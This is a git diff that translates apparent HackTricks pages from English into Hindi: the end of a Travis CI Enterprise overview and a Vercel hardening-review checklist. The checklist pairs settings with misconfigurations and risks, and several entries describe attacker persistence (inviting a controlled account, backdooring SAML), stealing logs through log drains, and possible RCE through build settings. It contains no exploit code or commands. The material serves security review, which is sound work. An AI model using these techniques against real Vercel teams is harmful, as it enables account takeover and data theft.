'सर्वर' संस्करण के रूप में सोचें। Travis CI का उपयोग करने से आपको एक आसान-से-उपयोग करने योग्य निरंतर एकीकरण/निरंतर तैनाती (CI/CD) प्रणाली सक्षम करने की अनुमति मिलती है, जिसे आप अपनी आवश्यकताओं के अनुसार कॉन्फ़िगर और सुरक्षित कर सकते हैं। -**Travis CI Enterprise consists of two major parts:** +**Travis CI Enterprise दो प्रमुख भागों में बाँटा गया है:** -1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc. -2. TCI **Worker** and build environment images (also called OS images). +1. TCI **सेवाएँ** (या TCI कोर सेवाएँ), जो संस्करण नियंत्रण प्रणालियों के साथ एकीकरण, निर्माणों को अधिकृत करने, निर्माण कार्यों को अनुसूचित करने आदि के लिए जिम्मेदार हैं। +2. TCI **कार्यकर्ता** और निर्माण वातावरण छवियाँ (जिन्हें OS छवियाँ भी कहा जाता है)। -**TCI Core services require the following:** +**TCI कोर सेवाओं के लिए निम्नलिखित की आवश्यकता होती है:** -1. A **PostgreSQL11** (or later) database. -2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required -3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details. +1. एक **PostgreSQL11** (या बाद का) डेटाबेस। +2. एक बुनियादी ढांचा जिसमें Kubernetes क्लस्टर तैनात किया जा सके; इसे एक सर्वर क्लस्टर में या यदि आवश्यक हो तो एकल मशीन में तैनात किया जा सकता है। +3. आपकी सेटअप के आधार पर, आप कुछ घटकों को स्वयं तैनात और कॉन्फ़िगर करना चाह सकते हैं, जैसे कि RabbitMQ - अधिक विवरण के लिए [Travis CI Enterprise सेटअप करना](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) देखें। -**TCI Worker requires the following:** +**TCI कार्यकर्ता के लिए निम्नलिखित की आवश्यकता होती है:** -1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**. -2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details. +1. एक बुनियादी ढांचा जहाँ एक डॉकर छवि जिसमें **कार्यकर्ता और एक लिंक की गई निर्माण छवि तैनात की जा सके**। +2. कुछ Travis CI कोर सेवाओं के घटकों से कनेक्टिविटी - अधिक विवरण के लिए [कार्यकर्ता सेटअप करना](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) देखें। -The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure. +तैनात किए गए TCI कार्यकर्ता और निर्माण वातावरण OS छवियों की मात्रा आपके बुनियादी ढांचे में Travis CI Enterprise तैनाती की कुल समवर्ती क्षमता को निर्धारित करेगी। ![](<../../images/image (199).png>) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 16dc93da7..25ee635c9 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -4,160 +4,157 @@ ## Basic Information -In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**. +Vercel में एक **Team** वह पूरी **environment** है जो एक ग्राहक से संबंधित है और एक **project** एक **application** है। -For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also). +**Vercel** की हार्डनिंग समीक्षा के लिए, आपको **Viewer role permission** वाले उपयोगकर्ता के लिए पूछना होगा या कम से कम **Project viewer permission over the projects** की आवश्यकता होगी (यदि आपको केवल प्रोजेक्ट की जांच करनी है और टीम कॉन्फ़िगरेशन की नहीं)। ## Project Settings ### General -**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations. +**Purpose:** प्रोजेक्ट नाम, फ्रेमवर्क, और बिल्ड कॉन्फ़िगरेशन जैसे मौलिक प्रोजेक्ट सेटिंग्स का प्रबंधन करें। #### Security Configurations: - **Transfer** - - **Misconfiguration:** Allows to transfer the project to another team - - **Risk:** An attacker could steal the project +- **Misconfiguration:** प्रोजेक्ट को दूसरे टीम में स्थानांतरित करने की अनुमति देता है +- **Risk:** एक हमलावर प्रोजेक्ट चुरा सकता है - **Delete Project** - - **Misconfiguration:** Allows to delete the project - - **Risk:** Delete the prject +- **Misconfiguration:** प्रोजेक्ट को हटाने की अनुमति देता है +- **Risk:** प्रोजेक्ट को हटाना --- ### Domains -**Purpose:** Manage custom domains, DNS settings, and SSL configurations. +**Purpose:** कस्टम डोमेन, DNS सेटिंग्स, और SSL कॉन्फ़िगरेशन का प्रबंधन करें। #### Security Configurations: - **DNS Configuration Errors** - - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers. - - **Risk:** Domain hijacking, traffic interception, and phishing attacks. +- **Misconfiguration:** गलत DNS रिकॉर्ड (A, CNAME) जो दुर्भावनापूर्ण सर्वरों की ओर इशारा करते हैं। +- **Risk:** डोमेन हाईजैकिंग, ट्रैफ़िक इंटरसेप्शन, और फ़िशिंग हमले। - **SSL/TLS Certificate Management** - - **Misconfiguration:** Using weak or expired SSL/TLS certificates. - - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality. +- **Misconfiguration:** कमजोर या समाप्त SSL/TLS प्रमाणपत्रों का उपयोग करना। +- **Risk:** मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील, डेटा की अखंडता और गोपनीयता को खतरे में डालना। - **DNSSEC Implementation** - - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings. - - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks. +- **Misconfiguration:** DNSSEC को सक्षम करने में विफलता या गलत DNSSEC सेटिंग्स। +- **Risk:** DNS स्पूफिंग और कैश पॉइज़निंग हमलों के प्रति बढ़ी हुई संवेदनशीलता। - **Environment used per domain** - - **Misconfiguration:** Change the environment used by the domain in production. - - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production. +- **Misconfiguration:** प्रोडक्शन में डोमेन द्वारा उपयोग किए जाने वाले वातावरण को बदलना। +- **Risk:** संभावित रहस्यों या कार्यक्षमताओं को उजागर करना जो प्रोडक्शन में उपलब्ध नहीं होनी चाहिए। --- ### Environments -**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables. +**Purpose:** विशिष्ट सेटिंग्स और वेरिएबल्स के साथ विभिन्न वातावरण (Development, Preview, Production) को परिभाषित करें। #### Security Configurations: - **Environment Isolation** - - **Misconfiguration:** Sharing environment variables across environments. - - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure. +- **Misconfiguration:** वातावरणों के बीच वातावरण वेरिएबल साझा करना। +- **Risk:** विकास या पूर्वावलोकन वातावरण में प्रोडक्शन रहस्यों का लीक होना, जिससे जोखिम बढ़ता है। - **Access to Sensitive Environments** - - **Misconfiguration:** Allowing broad access to production environments. - - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches. +- **Misconfiguration:** प्रोडक्शन वातावरणों तक व्यापक पहुंच की अनुमति देना। +- **Risk:** लाइव एप्लिकेशन में अनधिकृत परिवर्तन या पहुंच, संभावित डाउनटाइम या डेटा उल्लंघनों की ओर ले जा सकती है। --- ### Environment Variables -**Purpose:** Manage environment-specific variables and secrets used by the application. +**Purpose:** एप्लिकेशन द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल्स और रहस्यों का प्रबंधन करें। #### Security Configurations: - **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. +- **Misconfiguration:** संवेदनशील वेरिएबल्स को `NEXT_PUBLIC_` के साथ प्रीफिक्स करना, जिससे वे क्लाइंट साइड पर उपलब्ध हो जाते हैं। +- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल्स, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है। - **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Misconfiguration:** यदि अक्षम (डिफ़ॉल्ट) है तो उत्पन्न रहस्यों के मानों को पढ़ना संभव है। +- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है। - **Shared Environment Variables** - - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Misconfiguration:** ये टीम स्तर पर सेट किए गए वातावरण वेरिएबल्स हैं और इनमें संवेदनशील जानकारी भी हो सकती है। +- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है। --- ### Git -**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers. +**Purpose:** Git रिपॉजिटरी इंटीग्रेशन, शाखा सुरक्षा, और डिप्लॉयमेंट ट्रिगर्स को कॉन्फ़िगर करें। #### Security Configurations: - **Ignored Build Step (TODO)** - - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE. - - **Risk:** TBD +- **Misconfiguration:** ऐसा लगता है कि यह विकल्प एक बैश स्क्रिप्ट/कमांड को कॉन्फ़िगर करने की अनुमति देता है जो तब निष्पादित होगा जब एक नया कमिट Github में पुश किया जाएगा, जो RCE की अनुमति दे सकता है। +- **Risk:** TBD --- ### Integrations -**Purpose:** Connect third-party services and tools to enhance project functionalities. +**Purpose:** तीसरे पक्ष की सेवाओं और उपकरणों को जोड़ें ताकि प्रोजेक्ट कार्यक्षमताओं को बढ़ाया जा सके। #### Security Configurations: - **Insecure Third-Party Integrations** - - **Misconfiguration:** Integrating with untrusted or insecure third-party services. - - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations. +- **Misconfiguration:** अविश्वसनीय या असुरक्षित तीसरे पक्ष की सेवाओं के साथ एकीकृत करना। +- **Risk:** कमजोरियों, डेटा लीक, या समझौता किए गए इंटीग्रेशनों के माध्यम से बैकडोर का परिचय। - **Over-Permissioned Integrations** - - **Misconfiguration:** Granting excessive permissions to integrated services. - - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions. +- **Misconfiguration:** एकीकृत सेवाओं को अत्यधिक अनुमतियाँ देना। +- **Risk:** प्रोजेक्ट संसाधनों तक अनधिकृत पहुंच, डेटा हेरफेर, या सेवा व्यवधान। - **Lack of Integration Monitoring** - - **Misconfiguration:** Failing to monitor and audit third-party integrations. - - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches. +- **Misconfiguration:** तीसरे पक्ष की इंटीग्रेशनों की निगरानी और ऑडिट करने में विफलता। +- **Risk:** समझौता किए गए इंटीग्रेशनों का विलंबित पता लगाना, सुरक्षा उल्लंघनों के संभावित प्रभाव को बढ़ाना। --- ### Deployment Protection -**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments. +**Purpose:** विभिन्न सुरक्षा तंत्रों के माध्यम से डिप्लॉयमेंट को सुरक्षित करें, यह नियंत्रित करें कि कौन आपके वातावरणों तक पहुंच सकता है और डिप्लॉय कर सकता है। #### Security Configurations: **Vercel Authentication** -- **Misconfiguration:** Disabling authentication or not enforcing team member checks. -- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse. +- **Misconfiguration:** प्रमाणीकरण को अक्षम करना या टीम के सदस्यों की जांच को लागू नहीं करना। +- **Risk:** अनधिकृत उपयोगकर्ता डिप्लॉयमेंट्स तक पहुंच सकते हैं, जिससे डेटा उल्लंघन या एप्लिकेशन का दुरुपयोग हो सकता है। **Protection Bypass for Automation** -- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets. -- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments. +- **Misconfiguration:** बायपास रहस्य को सार्वजनिक रूप से उजागर करना या कमजोर रहस्यों का उपयोग करना। +- **Risk:** हमलावर डिप्लॉयमेंट सुरक्षा को बायपास कर सकते हैं, सुरक्षित डिप्लॉयमेंट्स तक पहुंच और हेरफेर कर सकते हैं। **Shareable Links** -- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links. -- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions. +- **Misconfiguration:** लिंक को मनमाने तरीके से साझा करना या पुराने लिंक को रद्द करने में विफलता। +- **Risk:** सुरक्षित डिप्लॉयमेंट्स तक अनधिकृत पहुंच, प्रमाणीकरण और IP प्रतिबंधों को बायपास करना। **OPTIONS Allowlist** -- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints. -- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks. +- **Misconfiguration:** अत्यधिक व्यापक पथों या संवेदनशील एंडपॉइंट्स को अनुमति सूची में शामिल करना। +- **Risk:** हमलावर अनसुरक्षित पथों का लाभ उठा सकते हैं ताकि अनधिकृत क्रियाएँ की जा सकें या सुरक्षा जांचों को बायपास किया जा सके। **Password Protection** -- **Misconfiguration:** Using weak passwords or sharing them insecurely. -- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Misconfiguration:** कमजोर पासवर्ड का उपयोग करना या उन्हें असुरक्षित रूप से साझा करना। +- **Risk:** यदि पासवर्ड का अनुमान लगाया गया या लीक किया गया तो डिप्लॉयमेंट्स तक अनधिकृत पहुंच। **Deployment Protection Exceptions** -- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently. -- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Misconfiguration:** उत्पादन या संवेदनशील डोमेन को अपवाद सूची में अनजाने में जोड़ना। +- **Risk:** महत्वपूर्ण डिप्लॉयमेंट्स को सार्वजनिक रूप से उजागर करना, जिससे डेटा लीक या अनधिकृत पहुंच हो सकती है। **Trusted IPs** -- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges. -- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access. -- **Note:** Available on the **Enterprise** plan. +- **Misconfiguration:** IP पते या CIDR रेंज को गलत तरीके से निर्दिष्ट करना। +- **Risk:** वैध उपयोगकर्ताओं को अवरुद्ध करना या अनधिकृत IPs को पहुंच प्राप्त करना। --- ### Functions -**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies. +**Purpose:** सर्वरलेस फ़ंक्शंस को कॉन्फ़िगर करें, जिसमें रनटाइम सेटिंग्स, मेमोरी आवंटन, और सुरक्षा नीतियाँ शामिल हैं। #### Security Configurations: @@ -167,31 +164,31 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro ### Data Cache -**Purpose:** Manage caching strategies and settings to optimize performance and control data storage. +**Purpose:** प्रदर्शन को अनुकूलित करने और डेटा संग्रहण को नियंत्रित करने के लिए कैशिंग रणनीतियों और सेटिंग्स का प्रबंधन करें। #### Security Configurations: - **Purge Cache** - - **Misconfiguration:** It allows to delete all the cache. - - **Risk:** Unauthorized users deleting the cache leading to a potential DoS. +- **Misconfiguration:** यह सभी कैश को हटाने की अनुमति देता है। +- **Risk:** अनधिकृत उपयोगकर्ता कैश को हटाने के कारण संभावित DoS। --- ### Cron Jobs -**Purpose:** Schedule automated tasks and scripts to run at specified intervals. +**Purpose:** निर्दिष्ट अंतराल पर स्वचालित कार्यों और स्क्रिप्टों को शेड्यूल करें। #### Security Configurations: - **Disable Cron Job** - - **Misconfiguration:** It allows to disable cron jobs declared inside the code - - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for) +- **Misconfiguration:** यह कोड के अंदर घोषित क्रोन नौकरियों को अक्षम करने की अनुमति देता है। +- **Risk:** सेवा में संभावित विघटन (इस पर निर्भर करता है कि क्रोन नौकरियों का क्या मतलब था) --- ### Log Drains -**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing. +**Purpose:** निगरानी और ऑडिटिंग के लिए एप्लिकेशन लॉग कैप्चर और स्टोर करने के लिए बाहरी लॉगिंग सेवाओं को कॉन्फ़िगर करें। #### Security Configurations: @@ -201,47 +198,47 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro ### Security -**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more. +**Purpose:** प्रोजेक्ट एक्सेस, स्रोत सुरक्षा, और अधिक को प्रभावित करने वाली विभिन्न सुरक्षा-संबंधित सेटिंग्स के लिए केंद्रीय हब। #### Security Configurations: **Build Logs and Source Protection** -- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly. -- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities. +- **Misconfiguration:** सुरक्षा को अक्षम करना या `/logs` और `/src` पथों को सार्वजनिक रूप से उजागर करना। +- **Risk:** निर्माण लॉग और स्रोत कोड तक अनधिकृत पहुंच, जानकारी लीक और संभावित कमजोरियों का शोषण। **Git Fork Protection** -- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews. -- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors. +- **Misconfiguration:** उचित समीक्षाओं के बिना अनधिकृत पुल अनुरोधों की अनुमति देना। +- **Risk:** दुर्भावनापूर्ण कोड को कोडबेस में विलय किया जा सकता है, जिससे कमजोरियाँ या बैकडोर का परिचय होता है। **Secure Backend Access with OIDC Federation** -- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs. -- **Risk:** Unauthorized access to backend services through flawed authentication flows. +- **Misconfiguration:** OIDC पैरामीटर को गलत तरीके से सेट करना या असुरक्षित जारीकर्ता URL का उपयोग करना। +- **Risk:** दोषपूर्ण प्रमाणीकरण प्रवाह के माध्यम से बैकएंड सेवाओं तक अनधिकृत पहुंच। **Deployment Retention Policy** -- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention). -- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments. +- **Misconfiguration:** बहुत छोटे (डिप्लॉयमेंट इतिहास खोना) या बहुत लंबे (अनावश्यक डेटा रखरखाव) रखरखाव अवधि सेट करना। +- **Risk:** जब आवश्यकता हो तो रोलबैक करने में असमर्थता या पुराने डिप्लॉयमेंट से डेटा के उजागर होने का बढ़ा हुआ जोखिम। **Recently Deleted Deployments** -- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions. -- **Risk:** Loss of critical deployment history, hindering audits and rollbacks. +- **Misconfiguration:** हटाए गए डिप्लॉयमेंट की निगरानी नहीं करना या स्वचालित हटाने पर पूरी तरह से निर्भर रहना। +- **Risk:** महत्वपूर्ण डिप्लॉयमेंट इतिहास का नुकसान, ऑडिट और रोलबैक में बाधा। --- ### Advanced -**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security. +**Purpose:** कॉन्फ़िगरेशन को ठीक करने और सुरक्षा बढ़ाने के लिए अतिरिक्त प्रोजेक्ट सेटिंग्स तक पहुंच। #### Security Configurations: **Directory Listing** -- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file. -- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks. +- **Misconfiguration:** डायरेक्टरी लिस्टिंग सक्षम करना उपयोगकर्ताओं को बिना इंडेक्स फ़ाइल के डायरेक्टरी सामग्री देखने की अनुमति देता है। +- **Risk:** संवेदनशील फ़ाइलों, एप्लिकेशन संरचना, और हमलों के लिए संभावित प्रवेश बिंदुओं का उजागर होना। --- @@ -253,13 +250,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro **Enable Attack Challenge Mode** -- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability -- **Risk:** Potential user experience problems. +- **Misconfiguration:** इसे सक्षम करना वेब एप्लिकेशन की DoS के खिलाफ रक्षा को सुधारता है लेकिन उपयोगिता की कीमत पर +- **Risk:** संभावित उपयोगकर्ता अनुभव समस्याएँ। ### Custom Rules & IP Blocking -- **Misconfiguration:** Allows to unblock/block traffic -- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic +- **Misconfiguration:** ट्रैफ़िक को अनब्लॉक/ब्लॉक करने की अनुमति देता है +- **Risk:** संभावित DoS जो दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देता है या बेनिग्न ट्रैफ़िक को ब्लॉक करता है --- @@ -267,13 +264,13 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro ### Source -- **Misconfiguration:** Allows access to read the complete source code of the application -- **Risk:** Potential exposure of sensitive information +- **Misconfiguration:** एप्लिकेशन के पूरे स्रोत कोड को पढ़ने के लिए पहुंच की अनुमति देता है +- **Risk:** संवेदनशील जानकारी का संभावित उजागर होना ### Skew Protection -- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other. -- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future +- **Misconfiguration:** यह सुरक्षा सुनिश्चित करता है कि क्लाइंट और सर्वर एप्लिकेशन हमेशा एक ही संस्करण का उपयोग कर रहे हैं ताकि कोई असंगति न हो जहाँ क्लाइंट सर्वर से अलग संस्करण का उपयोग करता है और इसलिए वे एक-दूसरे को समझ नहीं पाते। +- **Risk:** इसे अक्षम करना (यदि सक्षम है) भविष्य में नए डिप्लॉयमेंट में DoS समस्याएँ पैदा कर सकता है --- @@ -284,11 +281,11 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro #### Security Configurations: - **Transfer** - - **Misconfiguration:** Allows to transfer all the projects to another team - - **Risk:** An attacker could steal the projects +- **Misconfiguration:** सभी प्रोजेक्ट्स को दूसरे टीम में स्थानांतरित करने की अनुमति देता है +- **Risk:** एक हमलावर प्रोजेक्ट्स चुरा सकता है - **Delete Project** - - **Misconfiguration:** Allows to delete the team with all the projects - - **Risk:** Delete the projects +- **Misconfiguration:** सभी प्रोजेक्ट्स के साथ टीम को हटाने की अनुमति देता है +- **Risk:** प्रोजेक्ट्स को हटाना --- @@ -297,8 +294,8 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro #### Security Configurations: - **Speed Insights Cost Limit** - - **Misconfiguration:** An attacker could increase this number - - **Risk:** Increased costs +- **Misconfiguration:** एक हमलावर इस संख्या को बढ़ा सकता है +- **Risk:** लागत में वृद्धि --- @@ -307,25 +304,25 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro #### Security Configurations: - **Add members** - - **Misconfiguration:** An attacker could maintain persitence inviting an account he control - - **Risk:** Attacker persistence +- **Misconfiguration:** एक हमलावर एक ऐसा खाता आमंत्रित करके स्थायीता बनाए रख सकता है जिसे वह नियंत्रित करता है +- **Risk:** हमलावर की स्थिरता - **Roles** - - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) - - **Risk**: Increate the exposure of the Vercel Team +- **Misconfiguration:** उन लोगों को बहुत अधिक अनुमतियाँ देना जिन्हें इसकी आवश्यकता नहीं है, Vercel कॉन्फ़िगरेशन के जोखिम को बढ़ाता है। सभी संभावित भूमिकाओं की जांच करें [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) +- **Risk**: Vercel Team की एक्सपोजर बढ़ाना --- ### Access Groups -An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects. +Vercel में एक **Access Group** प्रोजेक्ट्स और टीम के सदस्यों का एक संग्रह है जिसमें पूर्वनिर्धारित भूमिका असाइनमेंट होते हैं, जो कई प्रोजेक्ट्स में केंद्रीकृत और सुव्यवस्थित पहुंच प्रबंधन को सक्षम बनाता है। **Potential Misconfigurations:** -- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions. -- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation. -- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended. -- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions. -- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps. +- **Over-Permissioning Members:** अनावश्यक रूप से अधिक अनुमतियों के साथ भूमिकाएँ असाइन करना, अनधिकृत पहुंच या क्रियाओं की ओर ले जाना। +- **Improper Role Assignments:** भूमिकाएँ गलत तरीके से असाइन करना जो टीम के सदस्यों की जिम्मेदारियों के साथ मेल नहीं खाती, जिससे विशेषाधिकार वृद्धि होती है। +- **Lack of Project Segregation:** संवेदनशील प्रोजेक्ट्स को अलग करने में विफलता, जिससे अपेक्षित से अधिक व्यापक पहुंच की अनुमति मिलती है। +- **Insufficient Group Management:** एक्सेस ग्रुप्स की नियमित समीक्षा या अपडेट नहीं करना, जिससे पुरानी या अनुपयुक्त पहुंच अनुमतियाँ होती हैं। +- **Inconsistent Role Definitions:** विभिन्न एक्सेस ग्रुप्स में असंगत या अस्पष्ट भूमिका परिभाषाओं का उपयोग करना, जिससे भ्रम और सुरक्षा अंतराल होते हैं। --- @@ -334,8 +331,8 @@ An **Access Group** in Vercel is a collection of projects and team members with #### Security Configurations: - **Log Drains to third parties:** - - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs - - **Risk:** Partial persistence +- **Misconfiguration:** एक हमलावर लॉग चुराने के लिए एक लॉग ड्रेन कॉन्फ़िगर कर सकता है +- **Risk:** आंशिक स्थिरता --- @@ -343,99 +340,95 @@ An **Access Group** in Vercel is a collection of projects and team members with #### Security Configurations: -- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard. - - **Misconfiguration:** - - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting. - - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain. - - **Risks:** - - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team. - - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals. -- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access. - - **Misconfiguration:** Not adding critical Git scopes to the protected list. +- **Team Email Domain:** जब कॉन्फ़िगर किया जाता है, तो यह सेटिंग स्वचालित रूप से निर्दिष्ट डोमेन (जैसे, `mydomain.com`) के साथ समाप्त होने वाले ईमेल पते वाले Vercel व्यक्तिगत खातों को आपके टीम में शामिल होने के लिए आमंत्रित करती है। +- **Misconfiguration:**\ +- गलत ईमेल डोमेन या टीम ईमेल डोमेन सेटिंग में गलत स्पेलिंग निर्दिष्ट करना। +- एक सामान्य ईमेल डोमेन (जैसे, `gmail.com`, `hotmail.com`) का उपयोग करना बजाय कंपनी-विशिष्ट डोमेन के। - **Risks:** - - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization. - - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team. -- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system. - - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled. - - **Risks:** - - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members. - - **Data Breach:** Sensitive information like API keys and credentials could be leaked. -- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members. - - **Misconfiguration:**\ - Granting access to audit logs to unauthorized team members. - - **Risks:** - - **Privacy Violations:** Exposure of sensitive user activities and data. - - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks. -- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management. - - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints. - - **Risk:** Maintain persistence -- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains. - - **Misconfiguration:** Leaving IP address visibility enabled without necessity. - - **Risks:** - - **Privacy Violations:** Non-compliance with data protection regulations like GDPR. - - **Legal Repercussions:** Potential fines and penalties for mishandling personal data. -- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing. - - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic. - - **Risks:** - - **Service Denial to Legitimate Users:** Blocking access for valid users or partners. - - **Operational Disruptions:** Loss of service availability for certain regions or clients. +- **Unauthorized Access:** अनपेक्षित डोमेन से ईमेल पते वाले उपयोगकर्ताओं को आपकी टीम में शामिल होने के लिए आमंत्रण मिल सकते हैं। +- **Data Exposure:** अनधिकृत व्यक्तियों के लिए संवेदनशील प्रोजेक्ट जानकारी का संभावित उजागर होना। +- **Protected Git Scopes:** आपको अपनी टीम के लिए 5 Git स्कोप जोड़ने की अनुमति देता है ताकि अन्य Vercel टीमों को सुरक्षित स्कोप से रिपॉजिटरी को डिप्लॉय करने से रोका जा सके। कई टीमें एक ही स्कोप निर्दिष्ट कर सकती हैं, जिससे दोनों टीमों को पहुंच मिलती है। +- 